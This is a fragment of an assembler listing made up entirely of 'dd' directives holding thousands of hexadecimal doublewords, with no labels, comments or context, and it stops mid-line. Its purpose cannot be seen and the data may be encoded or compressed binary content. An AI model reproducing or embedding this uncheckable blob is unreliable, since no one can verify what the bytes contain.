dd 0A0F26906h, 60EC2404h, 23ACE036h, 601124F1h, 0E03FB558h dd 7D7BA880h, 532FAC5Dh, 4BDD510Bh, 6A980E47h, 908184B0h dd 3E78BAC4h, 7F372C0h, 45AE3AD7h, 0B46210BCh, 19058AF1h dd 60AD30E9h, 0C83AB084h, 0D1003D23h, 0B9051711h, 0A1D61C89h dd 9A1E8063h, 2047CE08h, 0E9B31B00h, 0EDF81B2h, 0FFEC16E0h dd 477021EEh, 32B180A7h, 8DE5F33Ah, 64C63877h, 53E6A100h dd 74A6B037h, 46B38E01h, 899DB78Bh, 41967860h, 5844C06Ah dd 88B0AC48h, 0E3F3C0AFh, 1D4667A2h, 2E1CF222h, 0C482E3EBh dd 0A071F670h, 0F3D235B4h, 6A470F45h, 16E9FD28h, 6C413012h dd 87A189Eh, 8D67CB27h, 6340B6C4h, 808F27A5h, 897BCA04h dd 0D88E847Ah, 0A0C0FCC8h, 19762EDh, 282AF133h, 222BF9ECh dd 5FB0504Ch, 0E855AA41h, 5C88488Eh, 0C120F9C7h, 263D4F50h dd 0BAECA96Fh, 981ED160h, 0CF00D80Bh, 0C0E0D9B0h, 0E830FE5h dd 16BEA06h, 850AF824h, 88D88EF0h, 0B7D1C063h, 0F1045818h dd 21E33DDBh, 0EBE818C9h, 881E6939h, 0E411C41Dh, 9018568Bh dd 8F01BCD9h, 3443BBC5h, 6BC4FFA8h, 0C92E3A37h, 16528854h dd 6CCC13h, 84DEA174h, 302CAC3Fh, 92046482h, 0E480F0C5h dd 10ADB7C0h, 19EF8493h, 0F0A96374h, 0B7CDA8FDh, 8C9A1C20h dd 3727A61Ch, 229FADD1h, 27B15F00h, 7AA6650h, 310E00A0h dd 3BE6C26h, 0AD17E42Ah, 9032E095h, 0E1C930F5h, 0DCF14115h dd 805F88F4h, 92E031ACh, 44B8699Dh, 4D834117h, 82EA3072h dd 6051A3C0h, 0AF9C92Ch, 0DEF745D5h, 0D7E084C8h, 2B3888F5h dd 0E458FD28h, 57B48481h, 0CAC0984Ch, 46F190E1h, 6622C4h dd 45E032AFh, 0B47E3692h, 0E6B18000h, 0D2655826h, 546C4C9Bh dd 30B0F615h, 3801EA23h, 0D4F1A6E0h, 0C5885D18h, 38E00740h dd 0B20E05EDh, 8C51B0F2h, 0D60E47Bh, 0C100F7D6h, 0BE3C2579h dd 11BBBA1h, 6C5AB496h, 0C6284DF2h, 66791451h, 9909C419h dd 0ACD8B900h, 9DD35759h, 0CD2A1487h, 0C805804Eh, 15577EDh dd 4921ABCCh, 40436BAh, 0B3333856h, 7CD96500h, 0C4935D84h dd 0F84DA003h, 6C62A4D5h, 4D976420h, 55810020h, 4644C33Dh dd 9D04FF8Eh, 0A1408736h, 0A3CAE0B2h, 8442420h, 4813B237h dd 0B3ABF020h, 0DB16003Eh, 3C6CA538h, 6A02FF97h, 658E6130h dd 62434009h, 0B863489Ah, 0E594944Dh, 87894C58h, 219A5804h dd 5073CEAh, 67C1EBDCh, 0ABF59E86h, 3570C60h, 0A4D4BD2Ah dd 1F881265h, 0C5FE2113h, 0F17914B1h, 9C066818h, 0F41186D4h dd 6370019h, 6693BD96h, 6D034F19h, 76E36CE1h, 0C76AB8E4h dd 0D73F0A36h, 3BC4DE65h, 4DA20246h, 71B0D5F6h, 995E6060h dd 73025B4Dh, 941B2DCEh, 48B489BCh, 49E056F4h, 5D09C023h dd 862FBF7h, 0F2C49047h, 97345D60h, 63D004B9h, 58018683h dd 0A27BC647h, 28715FBEh, 6CBC0C2Ch, 0D672008Ch, 0D1189EAh dd 361CEBA2h, 4F1746C5h, 0F940E800h, 90CF9FAEh, 0B4682460h dd 2463EE0h, 0A63827A9h, 10B33155h, 0B827B05Ah, 0F1B72DDh dd 92C75B26h, 0E0C70489h, 6F606244h, 4314956Eh, 1F8042F6h dd 1F941B7Fh, 8C6CE8A4h, 0DB4BE500h, 2274FE99h, 13DC1E7Eh dd 8C90C358h, 0A829E344h, 7B03789Fh, 0BC67CA27h, 6020B462h dd 7CD27A2h, 0C2FC5D4Dh, 8706A0DDh, 0B750C3D2h, 8E13F1D4h dd 0B90692AAh, 39AC48h, 1452FE5h, 5C19097Dh, 0F5A4C007h dd 0E0700367h, 27FFEB40h, 0A8A047B9h, 0AD70D4C6h, 1A642A00h dd 9CAC1519h, 9176F0C9h, 1862797Ch, 73A40C69h, 8261B914h dd 0DA216D67h, 9C5FCDC0h, 0DD53E2Ah, 48EF761Eh, 21006EF6h dd 0ED58700Fh, 0FC7C1499h, 988AF08Fh, 27ACC09Ch, 7D46A635h dd 6101B822h, 0CC3027AFh, 0B1F87EBFh, 533213E8h, 72200203h dd 546269C2h, 0AF11409Dh, 7E793980h, 2A1467A4h, 0C4BAC5h dd 0FE832EA1h, 5A43B2h, 7E4FCAF0h, 0C9F90D4Ah, 1F14C10Eh dd 0F54581E3h, 9EF88D07h, 598C0670h, 87468F9h, 0A82180EBh dd 0E7D97E94h, 0BCB20077h, 84230599h, 0C182B46h, 0DE29EDECh dd 0C8BA1E25h, 6B890027h, 4AD93E7h, 0D52080E9h, 4C15F6B9h dd 3339ECB3h, 0C708A386h, 0B1C32116h, 8A65C700h, 0C0F54F18h dd 0BE920318h, 4300DA25h, 3DAF26C2h, 8867B0h, 454D574Bh dd 6BB72C4Ch, 9FEDB906h, 15102ACh, 8D4A87DBh, 0CB9CE1B6h dd 95C72D0h, 37E6D900h, 0B7A3FDA7h, 50910C12h, 19704B82h dd 30794460h, 0EC5C84h, 9BEDB89Ch, 0B54F8745h, 0E1E7E8C0h dd 1C63A1Bh, 0E3DB283Ch, 0D1DAF844h, 772185CBh, 8F003A13h dd 0B47B4908h, 2C830CE4h, 11A8523Fh, 9C284D6Ah, 459C0819h dd 0DE88984Eh, 82B6D4C1h, 10F3F03Bh, 0CE835118h, 4FC6D8h dd 0F8F9E314h, 19BFB06Ah, 0A0C4E835h, 0C0130008h, 708F7EA0h dd 91586421h, 87AD03C4h, 31A3B87Eh, 1D81CEB0h, 0F92187F8h dd 3306FB4h, 0E27EDEh, 3973DB43h, 0B7FA40A4h, 1A07C775h dd 0B2E77097h, 2027A10Ch, 0C81CC9A5h, 740A96CEh, 1C8AC013h dd 7ABEC447h, 0A1B1AA01h, 4F1FA719h, 89B870C0h, 41488887h dd 36C500D4h, 7A04DF7Bh, 0F6F54302h, 7F71D35h, 19BD4127h dd 65598039h, 0CC9E228Fh, 0B6030C6Ah, 5208BAC4h, 898021DEh dd 1A885122h, 0D33C00DEh, 4375FCE3h, 0C06399EEh, 2D14F80h dd 7F89C389h, 1C404A46h, 0C800CFEFh, 6FE0C6Bh, 88D05085h dd 0DCE43A5Fh, 1DEBAB0Eh, 56D700D6h, 20A242h, 0F9E457Dh dd 0C2FAC6E8h, 6C9E062h, 461044E7h, 0F6CC0288h, 31CB4C1Ah dd 84BA10C8h, 80C202F5h, 8FAC7865h, 60C624A4h, 330F6BAh dd 476F784Ch, 80E6028h, 20432492h, 7D8E716Ah, 4E6100E9h dd 0BC5F9DFEh, 16742C1Bh dd 29AD9B31h, 92D04AB7h, 112063CFh, 50803804h, 677337ABh dd 80FA333h, 63211C3Bh, 540B0030h, 7EB2093Eh, 0BED82300h dd 78B5FCAAh, 0A24D0060h, 66389F22h, 0F4002E6Bh, 0F058CEDh dd 19244145h, 81AA3B3Ah, 0A38EE897h, 64582029h, 6E079B11h dd 0C0FA8E7Dh, 0B64C4201h, 3A3020F8h, 962C21A7h, 55870009h dd 0FB78A91Ah, 0E1002340h, 0B453C5ABh, 0AAA34Dh, 2D43571Bh dd 94E5D2DFh, 70EB5000h, 35AB075Dh, 0B7D433CFh, 7EA3B950h dd 110947D3h, 85E15563h, 40C13B64h, 8986BC2h, 5D852168h dd 0D0F9E11Dh, 0F6327D80h, 22D9E84h, 0FD24BAD8h, 888C93C1h dd 48C7158h, 0DA26E152h, 20696253h, 41E15A80h, 6E140B00h dd 1703F09h, 96D9309Ch, 0B467D350h, 14132958h, 0CC4ECCh dd 0EAA86324h, 0CAEC878h, 86C0208Bh, 21C37F08h, 88EA900Eh dd 0A9AC3B23h, 0A5FDDBA0h, 180B34ECh, 6094B59Ch, 0F20328A9h dd 5927611Ah, 0DC22D920h, 3FC40C8h, 0AD87689Ah, 0D112B7CBh dd 28203A23h, 26B92Ah, 2D4521F9h, 50A7DFC2h, 0AECFA136h dd 369F0088h, 56D8C7E9h, 8C0C96B0h, 419839C9h, 0EFD70758h dd 30911554h, 0FCB77E2Ch, 6477B407h, 4421E1E9h, 24204293h dd 7C5C8C33h, 60201262h, 23942462h, 20007477h, 59F6CA0Ch dd 71BCF55h, 0D3CE2D07h, 66DEA0A4h, 0A82AA695h, 0DF4984Dh dd 5C2BE824h, 0D0C05602h, 91E497B8h, 488B8054h, 1D723FB1h dd 5DAB5F4h, 699DFF5h, 3158AB34h, 92C5D600h, 42ECA63Fh dd 0C66002A1h, 9F259CA8h, 25ACCC87h, 22CAC0E6h, 3B00C0E1h dd 0AE1DB5A0h, 0A4FCBE8h, 79BF24DAh, 5A4E00D0h, 50D62820h dd 80D8A939h, 0B37334C0h, 50825799h, 935CC9FCh, 0EAAE0120h dd 18BEC846h, 960C8879h, 0D3FDEA00h, 77BCFF5h, 35573BD8h dd 0A3C140B0h, 9C34AB48h, 484BC85h, 612E1D87h, 73088720h dd 10420830h, 1C3E34F5h, 3AC8E5A6h, 0FE148EA4h, 9E11C920h dd 0E200754Dh, 0FBAF0251h, 9439A34h, 9DFD2555h, 0FC43AC2Eh dd 0F06277CAh, 3A90D78h, 9822B7F3h, 0BDC20244h, 7CFCBFEEh dd 0DEE4F888h, 4CAE193Fh, 0C7D80024h, 0D314C04Dh, 0B1AF24EBh dd 93467448h, 0B41AE300h, 19F1F32Fh, 0B4E5F524h, 0A6A20700h dd 0D04167A1h, 5823D480h, 7AEAAA01h, 700E9EC8h, 35EA9200h dd 0F2A3BF60h, 59F9126Ch, 493C4246h, 0F86C9543h, 553F2570h dd 916621ABh, 3D6E1C3Ah, 7DC3C500h, 0CC6A681h, 2E2C53E0h dd 842AA921h, 427CBC75h, 0C8A1BF74h, 570229Ah, 0E94D5C8h dd 5CF814h, 26730C2Dh, 16AB3A81h, 436DF413h, 0C1BEA51Ch dd 167F023h, 0C87BEAABh, 20E61986h, 8EA9303h, 92FE6D02h dd 0A759A8D5h, 0F40064DCh, 19685CCh, 8AC4382Fh, 207EA8E7h dd 2B501644h, 48C31DCh, 20A88E7Ah, 209E6270h, 0F18E7269h dd 1A9D980Ch, 8C3E40ABh, 0AF8E790Bh, 0CC3C20h, 4D5C6D3Fh dd 0E0744553h, 0D922A418h, 34ACA690h, 3AC04263h, 3A792384h dd 65DEBD80h, 0F0283C2Ch, 0ABD450E9h, 9D4019E4h, 23E839C0h dd 1622480h, 0FB72975Ah, 0C97CC5E4h, 0E88C30D0h, 1D018C91h dd 5DC9542Ch, 0B860A6B0h, 0D13891D0h, 7F84183Eh, 0E8350733h dd 3CC7722Fh, 0A42C5769h, 3C28E852h, 2E798D20h, 2864F4DAh dd 0C20E63Ch, 67A31C4Ch, 7654CC10h, 3700DD90h, 11A1BE89h dd 0E549A5Ch, 26458883h, 38C0FEEAh, 9CE27C52h, 1ACA2230h dd 685B1F66h, 2187A406h, 28AAA62Ch, 1608F561h, 0CCA5C003h dd 708C94C0h, 0AB561522h, 3D8890C7h, 3A6D8Eh, 0DB2BA605h dd 72E40822h, 2082ADDDh, 4042D49Fh, 2E07F670h, 7414FC22h dd 94007A46h, 0ED1AF9DBh, 3CBA05CCh, 54D05609h, 72A084DDh dd 39E15160h, 115BDA23h, 59810355h, 0A8BC89E1h, 0B9B883A9h dd 186979B4h, 0ABA20B5Ch, 402A58Fh, 0B8AECE35h, 232A48FFh dd 38DF263Ch, 23FCC08h, 54C4E728h, 21B38885h, 1461C6D0h dd 9323F83Ah, 8DD4F905h, 58540F96h, 59026420h, 7DA72C43h dd 0EC043C42h, 12DC6693h, 8C0FAB5Fh, 64883FACh, 59ACE033h dd 0B68790F7h, 406F65BEh, 64274AE8h, 0CC70F5C8h, 0E72A20C1h dd 0F046610h, 32122B84h, 3931912Ch, 72A151C1h, 31624340h dd 0CEB1A980h, 38C00D10h, 0CF12A44Ch, 0C0909ED7h, 0BAEBA232h dd 962C1218h, 688405A5h, 6070100Bh, 36DA2319h, 78A04641h dd 0EA54644h, 0A22D4EF0h, 0C7780432h, 0B7C45F61h, 74149D3Ch dd 0AC015E23h, 0CEC844EAh, 940A030Eh, 986B1DEAh, 0C14C9BCCh dd 0B648F619h, 0A2C033C2h, 4748317Fh, 371734A0h, 3A06ACD4h dd 490BB9A3h, 87589B6Bh, 97408966h, 0A0669AFCh, 866FA8E8h dd 114C8321h, 2268E90h, 3127AB52h, 0AF61133Eh, 0AE935E00h dd 472C1441h, 127DAC74h, 0D7A3E1F4h, 5FC7B84Ch, 6BDA3BE1h dd 83885618h, 28E10167h, 0ECAF206Eh, 8AA88065h, 91582B41h dd 0B6A62C86h, 78ED61FCh, 23280103h, 5C1013F4h, 0B11CA030h dd 7B4700ECh, 281CD349h, 534F6301h, 0B910FDDEh, 6AF23032h dd 1BD07431h, 2A61F67Dh, 2842DC0h, 85B2E8ADh, 3C608CFCh dd 0C513F4DFh, 48922808h, 8E46303Dh, 5020AC17h, 6D0038h dd 25848E7Eh, 67D31BDBh, 801CCB48h, 0FE232D63h, 2FD24AF7h dd 19B2308h, 0E8BF2012h, 24942867h, 504C24D5h, 47058C3Ch dd 4820AD8Eh, 6C0034CEh, 18368E7Fh, 0C5068A56h, 0D9ED5D09h dd 4114896h, 0ACA804A1h, 9C06E839h, 2219A0D5h, 24062068h dd 874F61Eh, 44C4A490h, 2606225Eh, 765CDDF5h, 0AF780D20h dd 15C87B08h, 8B035F8h, 0A9C059ACh, 46C879EAh, 17C2296h dd 53EA9101h, 0E1B8D863h, 73E442A1h, 500E104Ch, 0B1DA38E1h dd 8200E29Ch, 0ED16E158h, 7B1B2325h, 778326DEh, 3E467CD4h dd 2E8A6100h, 4992FC7Ah, 40ED48C1h, 0FF039CFh, 28C030A3h dd 46235831h, 4CFD4B07h, 0DED0F602h, 0C032CFFFh, 0F8F5DB21h dd 8600A7E6h, 59F6084Ch, 4726C2h, 33B10CD6h, 2D18DE76h dd 4300449Ch, 0F4E241C0h, 28EEF8h, 443589CEh, 0AB818A75h dd 0CADC1803h, 5C127E5h, 14BA3410h, 23742E78h, 0D7FB0007h dd 5540F44Eh, 0DEE3B0Fh, 4F60217h, 914C4406h, 1879D1BCh dd 45A13821h, 0ED2119Ch, 4AEF9DA6h, 5EE0AFE2h, 0DC81C40h dd 68C0D390h, 728DA34Dh, 4458985Ch, 0C8F4CB5Fh, 92F43C07h dd 1C2F78Bh, 0C0E0627Ah, 7674FA0h, 435EA94Dh, 8A14241Ch dd 5A95067Ch, 9949CBh, 45265057h, 7ACF8E8Ah, 9B55C1F5h dd 8A714110h, 0B8BAE258h, 0A0DE728Ch, 62ACA610h, 45AB1978h dd 9A07A720h, 0C0DD1819h, 67D0392Ah, 1A2F000h, 94DA56F3h dd 0F7580525h, 8DCCCF34h, 88744BB8h, 9566C057h, 48289F22h dd 2505A472h, 69AEF4D8h, 65958021h, 1CC6C004h, 8B40AB2h dd 467488A4h, 0C0F70C9Bh, 0F023D933h, 0ADC60042h, 83E439FEh dd 75011AFAh, 1D73DDCAh, 72F2A125h, 0A838A0F8h, 0C601003Bh dd 0DE96A37Dh, 0BF2965FBh, 5C85D4B6h, 0C40FD2F6h, 9689A40Ch dd 0BDCBB0DBh, 0F4724430h, 7B4010F3h, 201D0522h, 9792887h dd 0A014C09Ch, 465694B4h, 784D0039h, 7C997414h, 96C0EC2Dh dd 4C7D80C8h, 0E38EC582h, 35578309h, 92A4E9C9h, 2784EC60h dd 0A48AAF3Dh, 66467CB4h, 458CA200h, 0C1A93BEh, 0C7585058h dd 0D707E899h, 0C68A051Bh, 8CCC10C8h, 4656949Ch, 9C462855h dd 8004CB5Ch, 0F649F94Eh, 0C09C275Ch, 54D71CA0h, 87003D7Ah dd 73C7DFF3h, 0EE22A523h dd 375C2C31h, 207B4148h, 0A28063D3h, 3108309Dh, 0A5A4CF58h dd 9FC8F8CAh, 0D890D7C0h, 0B0011777h, 3674890Ah, 81E50024h dd 0C84BD388h, 2CA430C5h, 4322EE70h, 64F97CB1h, 0DFFA2C18h dd 0DA0046E8h, 268E0A7Fh, 6742FC40h, 65AB786Fh, 13D88EF1h dd 0C93C672h, 0C07CDA6h, 0A0810376h, 29BA42DFh, 72A894FFh dd 676480E5h, 0DB1FF60h, 43F9C00h, 236EF58Fh, 0BF22134Fh dd 0B648501Ch, 6C32FC3Eh, 0CEA9CC0h, 5B40246Fh, 3950C0Dh dd 0B6DF8880h, 0CCC9F6C2h, 20C04014h, 4060AC9Fh, 0C0194E78h dd 435013CEh, 96FB09B6h, 0C024E831h, 0D721AB54h, 1C389166h dd 0A5003C6Fh, 9C7273F5h, 0D01900D3h, 319A3554h, 2D01E322h dd 404EBDC2h, 0B07CAB38h, 0F8C3AFCh, 0E6FE10D9h, 0DFD52340h dd 174856FCh, 922184D0h, 6AB2E0A3h, 0BE8DC30h, 0A03EF31h dd 6E701402h, 0AFA80409h, 0A0FA4C40h, 800840Fh, 0D2224D53h dd 0E1ABDA25h, 0E6BD283Ch, 65FC7A31h, 6E610C98h, 9669993Bh dd 90810700h, 6BFB8C14h, 0AA52000Ah, 0B56970BDh, 7CF12FCEh dd 784534A8h, 0F8C2049Bh, 0F861A880h, 39FC47B9h, 567204Dh dd 83EA801Fh, 227A2CDDh, 0F0859BABh, 0F8603EC4h, 0C0176469h dd 0C48B2EF7h, 0DAC064C8h, 1918158h, 0C73054A5h, 4839E620h dd 6000FCACh, 0AE52A42Ah, 1D25F8DAh, 4033807Fh, 2094C3C8h dd 532CF3B7h, 35475829h, 3BE490C9h, 849C0A6h, 0FBBC9702h dd 0D331AC1Fh, 987FECC1h, 0D0C7E112h, 382D7267h, 2526080Dh dd 803091D4h, 20A98E7Bh, 5BCCBE68h, 0DC8E73D9h, 3A2C261Dh dd 0E900E2FCh, 51A98867h, 4EB700B8h, 83B34C0h, 47F30C72h dd 5A79E0h, 0DA09A21Ch, 2CE1E580h, 7FFFE0h, 956A8DB1h dd 0E64D94E9h, 824BC52Fh, 479F651Ch, 80F1CE9Ch, 0C1D5A58h dd 0F5A41ED8h, 14DD420Eh, 442F9BDh, 3B79D059h, 0EA013C18h dd 87F8649Ah, 6EF87185h, 0DA4C1306h, 88E0CB49h, 727EC007h dd 0EB01E0E3h, 0D0F0AF83h, 0A1DC8563h, 39D915E4h, 37B9CAEh dd 3A9673D1h, 2CC8C35Fh, 0BC9E4BCBh, 8444CE08h, 0A006FC58h dd 0C878CB1Ch, 42AB18C6h, 28AE0221h, 6E3B2FD7h, 7A646447h dd 0ABC62960h, 0BF45B4Ch, 0E03A7CEDh, 0B448BF14h, 0C220010Ch dd 57DA6F4h, 5841F5A1h, 5C38DFCDh, 57A2E843h, 14DF9833h dd 587A60A3h, 8D519CA9h, 0C20D1090h, 684023CAh, 39BC9C28h dd 9B183A8Ch, 0D96E0102h, 4458F5E3h, 34D25F06h, 989F2CCh dd 0ACD1F4C0h, 721AC870h, 4F1874C7h, 64A54074h, 0DA0C3191h dd 0D84AF72Ch, 0F5F60B46h, 3CC1309Ch, 0FC231084h, 26ECB679h dd 481A08C8h, 30CCED07h, 42C46C27h, 7F2344B2h, 0AFE1540Fh dd 6F88D1DAh, 0E15C8680h, 3C04B2C5h, 0A489101Fh, 0F4516A2Dh dd 0C4307100h, 0A10FECh, 143BA983h, 0CB5E705Bh, 47433525h dd 617C647Ch, 0D36022F3h, 1BDE048Dh, 0BDACD22Ch, 0CC9AD678h dd 0C1D71E85h, 2898ECh, 5BC08724h, 233C3B6Bh, 0F232007Ch dd 85D1FE53h, 83DFA500h, 258AC21Ah, 9150B842h, 183BD100h dd 0FC3E04A4h, 0BC1E9581h, 50492C78h, 7465Eh, 0CED846CCh dd 12E4D4F4h, 0F2AEA027h, 0A0952298h, 817A921Ch, 786A2F25h dd 4D008C73h, 79F6A81Fh, 4D12293h, 0CC8B46C8h, 0FD088972h dd 0EA0030F2h, 8E1C4107h, 2F00BF9h, 0EA4422CFh, 0C18C8BDDh dd 105E6020h, 5F44C0ADh, 23B83B4Fh, 0E73C043Eh, 0CEDC81D5h dd 0BC807CD3h, 865C8C57h, 7E9610E4h, 0ED0C016h, 53603F24h dd 5EABFBFDh, 4DB931C7h, 0C33A03C0h, 0FAEC01CDh, 0AD30E607h dd 186C6DF1h, 5E505AA9h, 8EC08348h, 80A8A13Ah, 40011C9Fh dd 8D66CEC1h, 0E071D2E9h, 412F9502h, 0AD185D58h, 0C845EA08h dd 407DC4B6h, 0A1EA950Dh, 80D3050Bh, 11626887h, 4D8EB8ACh dd 0ECE5A1CBh, 0F06057E4h, 4D01DF7Fh, 741A37F6h, 0DC609133h dd 3A6F20Bh, 51AD3113h, 6023FE7Ch, 0E156017Dh, 2833DA22h dd 5E84B078h, 799707E1h, 481E26C5h, 7B685C09h, 1890AD44h dd 950E9A35h, 81190B77h, 59BCBF20h, 4C253087h, 2C5AD91Ch dd 564944h, 0E4A0FA76h, 0A6D34BF3h, 94553916h, 54234C3Bh dd 942FE09h, 8CDC0213h, 53CD022Dh, 7C79C859h, 0B2040E18h dd 745714D9h, 1C413C89h, 18007FAAh, 2A185C20h, 4E3841F5h dd 0DCF20F85h, 3A769D34h, 3D902344h, 17B87502h, 0E0E03612h dd 0EC062D04h, 34F40DC8h, 3064A6D0h, 0A7B174CBh, 85001DB9h dd 0C0BB0944h, 7B20C93Dh, 0EADF123Bh, 23DC2F49h, 7DC3093Fh dd 0AB0DC82h, 0BE947809h, 6F465E64h, 0BB279100h, 7E4EE986h dd 0A2A5C900h, 0F5CCAABFh, 39D49E95h, 93B5A31Dh, 0EC0A11Eh dd 0C79F88A0h, 6B180D4h, 0FC2C8255h, 4674C03Bh, 1CDD036Eh dd 0E0AFAA28h, 988F02Ah, 5E9DA62Fh, 0CB34B800h, 0F0B1A815h dd 471869F1h, 26BBC70Fh, 23630150h, 92F5184h, 344B0A30h dd 0C7537004h, 10A623E8h, 317162E0h, 0FCABA609h, 8874E0A5h dd 0CD341AD0h, 3867C1B5h, 44606E44h, 0B000F8BBh, 9E3C11C1h dd 2F4D4172h, 3097B8A8h, 34805491h, 0AB8D8878h, 84982095h dd 83DAA5h, 0E75FECB4h, 0F94D37A0h, 773B9600h, 7BCBD4B7h dd 22532D5Bh, 25741420h, 0E206BDADh, 0FC2B5C4Fh, 0DC54BC19h dd 0A6E3201Eh, 0A88E465h, 81E59CABh, 0F2A813A4h, 3194F2C8h dd 0A9DA204Ah, 1DC2F303h, 0B84CB2EDh, 0C49AFD9Ch, 0BCEA7858h dd 8C39BCFCh, 7610AA00h, 27F17AD1h, 40A4BEDBh, 46A1EB98h dd 0E600C47Ah, 7F911681h, 834BACA6h, 0F472C806h, 13E87866h dd 0C0770446h, 102D5C68h, 700149D2h, 3DCBA28Ch, 681739A7h dd 0A9806491h, 36050211h, 0D9AFEE00h, 0FC67F5E9h, 0B08B6C6h dd 581D83A9h, 67806F11h, 95141158h, 0A5071300h, 0E5A697EEh dd 22AC0051h, 802AF6E1h, 5D4A60E7h, 0D4C5C0C2h, 0AB3E82B0h dd 3C675202h, 0F609444h, 0E5013112h, 95EB68A4h, 0CC64FB04h dd 1CE45C22h, 8C66E8h, 4FA1F621h, 0D8E25A5Fh, 3021344Eh dd 81AC295Ch, 32F600A8h, 0CD84A355h, 1344249Ah, 172C255Ch dd 3DC46CE7h, 0C9157561h, 5DD03051h, 259C800Ah, 0A50534CDh dd 8D9D322h, 92BC6438h, 93FC188Ch, 884E9C77h, 0F50D0403h dd 0CB53EED4h, 80FDCCE7h, 3864D508h, 0C0AF0C3Eh, 71F31856h dd 9CA80DDFh, 0F4988031h, 6E27A2F4h, 7B102487h, 18EC5CE9h dd 0F503B17Fh, 0FBC42713h, 3AEFB023h, 0CB6009B8h, 54DA40DEh dd 2513C020h, 0C497C523h, 93806791h, 99D49551h, 0A1016C00h dd 0C70C728Ch, 1B5A184Dh, 70C6D0ABh, 1282240h, 0CEB41DEEh dd 0E34C165Bh, 0BDA8D0F7h, 0ED09F406h, 710AD23Fh, 1891D1D8h dd 29E90065h, 0FDD393EBh, 0F88350ABh, 0CED1A2h, 625A2A47h dd 25CA2F69h, 0F3727901h, 0E5F42186h, 844DC841h, 0B0BFAD00h dd 16280DDh, 7763FE1Fh, 0EC33FF5Dh, 0A5E84655h, 5EF3F500h dd 0A7E64DD7h, 254B1553h, 9773901Dh, 68917097h, 0C76AF0D3h dd 2EABFF06h, 1C2153A8h, 13EE7CD3h, 1098007Ah, 0F9E34D6Dh dd 0E418FC02h, 718CDA2Fh, 7C95AD80h, 0AD803D91h, 2260E83Bh dd 0E804E04Ch, 4B008C64h, 0FB94372Eh, 56CADB8h, 0A81E484Dh dd 0C840CEC9h, 1529C256h, 92440847h, 0D43BE960h, 0AE651C00h dd 26A6815Eh, 863FF2Fh, 593066F2h, 0A6B20B93h, 0E90072B8h dd 0AB06CEDCh, 3BC3797h, 747E4248h, 239380F4h, 0DCBE6DC8h dd 3A0EE291h, 42D6FCD8h, 0DF446ECh, 0CDA7C05Eh, 0C8A0C064h dd 0D9CF4C9Bh, 0FE8F7F85h dd 49CE2434h, 75AC40EDh, 22EC9461h, 74706F78h, 0C19B60A1h dd 2377F572h, 201A451Fh, 0CE199319h, 3FF37121h, 1E89A948h dd 0C405EA03h, 3D58A159h, 3BADB8F8h, 4A2014D9h, 39890901h dd 4342DF1Dh, 9EA28473h, 97AA030h, 0E8DFDB01h, 3CE45065h dd 7409B460h, 0A90D6A00h, 4FD40C51h, 0C2B92418h, 93306048h dd 379F4656h, 233B0948h, 77761402h, 1000CC05h, 25F445B6h dd 0FE3F41Fh, 16E5220Bh, 3B1A54A0h, 15008C73h, 49F6ADCEh dd 27C84355h, 6070DDh, 0A04FAF24h, 103D5483h, 48651260h dd 0C4A32580h, 0DADD1F74h, 0CB9907A5h, 1931C69Fh, 3FCF5000h dd 6BDCAC3Ch, 0CB0A037Dh, 0E921BFE2h, 0B524CAE0h, 0A620A138h dd 0E774986Fh, 2C042018h, 39840EFEh, 0F048D8C8h, 606501F6h dd 8D6407Bh, 2C982213h, 34400CA8h, 39AF1A9Fh, 10803BDEh dd 0B6362DB3h, 9D0AE278h, 0F8D8137Ch, 0D62CDE00h, 0B4AD9B5Fh dd 3B465E2Ch, 0A8064100h, 1EC17AE0h, 60BCF63Ch, 4CE42A90h dd 5C2094B9h, 1726846h, 0B2F31369h, 0FD72470Dh, 202C430Eh dd 825FD027h, 2490D8E0h, 339CE4C0h, 8D127C00h, 0ABB4D0D9h dd 0B2130241h, 6041094h, 40D4FF61h, 913373ACh, 7EADA612h dd 5CA82846h, 0A9960089h, 0EE31390Fh, 15005B3Ah, 3227CA53h dd 910356Ah, 3B79B8D8h, 2D062858h, 1B30D6C2h, 9A4A5BF0h dd 0EEFBC018h, 24FCDFB9h, 4447CB6h, 0CCE99C21h, 85F01318h dd 4C108B60h, 967B0F1Ch, 8A898888h, 0E8C8DE17h, 67BF0625h dd 28101EF4h, 3920CDF0h, 0F8926EAFh, 0EDC80591h, 0B00107E8h dd 5A81CB55h, 5BB1947Ch, 186D0936h, 0F4395BA8h, 4977E47h dd 6C860B9Ch, 7990BCB9h, 99DA1347h, 20821333h, 8F01E4A9h dd 5B6B74F9h, 0D2D65044h, 0A265270Bh, 335504F9h, 0D0E92895h dd 57002DB8h, 9A98CA78h, 50F8C645h, 4A9DD001h, 30884283h dd 0A2119B5Eh, 9978DF17h, 0FB1FBAA3h, 446A12Fh, 0B531312Ch dd 841310A0h, 50C58891h, 0B8F3513Ah, 4B3093E2h, 4AAC3A9Eh dd 8C342A00h, 7EAEEEBCh, 43F43050h, 0F6309Ch, 8CF96766h dd 0B55A112h, 70CDA624h, 3B694208h, 3E3CF424h, 0E4F420C0h dd 5CC0604Eh, 0D825B667h, 69D81880h, 1708F082h, 13468EDDh dd 0F7451624h, 4462A034h, 10D014Fh, 0BEB607C4h, 24122FC0h dd 7DF274F2h, 3177A833h, 64C4F2A0h, 0CC334858h, 0C60BE610h dd 22DB3A4Eh, 44AFA68Ch, 0DE6808C0h, 71E3CE0h, 0E8B2AD0Ah dd 19E4674h, 0C367580Eh, 1980A539h, 64F8B8C0h, 832C5EFAh dd 5A1D11AFh, 0E13199CEh, 0C4E7A0B1h, 0B0E8BC55h, 0DF6430Eh dd 2290090Ch, 6A08AF19h, 0C4EA2020h, 0E54D0244h, 0E122102Ch dd 0D4703853h, 7A830052h, 0D78D5056h, 31068234h, 6D80E722h dd 943AE870h, 3C467440h, 2FD273Fh, 0F42B9C7Bh, 0D0F69F81h dd 523CFBCBh, 0B9090058h, 4DB8BB08h, 0F4E61F8h, 5462CFh dd 4459ABE8h, 909239h, 480E8BAFh, 0DB6B34F3h, 3B3FA50Fh dd 0FE4660A0h, 74A94DA2h, 0D0CF4FB6h, 57615B54h, 69960C00h dd 0D1842953h, 47160F74h, 46C00986h, 4348AC3Dh, 670068B8h dd 0A6A22372h, 24B8513h, 0A9411CCDh, 9852CC5Fh, 0DBFB8100h dd 22A45806h, 0A23B01FCh, 2DF4AB1Ah, 0EE3C6590h, 185CD46Ah dd 1C384674h, 1540A6C2h, 176ACB54h, 60DB4F14h, 7E1CE728h dd 59F69381h, 189C7990h, 0A9863D7Ch, 8B78B52Ch, 28024725h dd 5C02B758h, 4E5C8020h, 954F9682h, 0ED286800h, 780DF411h dd 885380AFh, 5D68447Eh, 4A941540h, 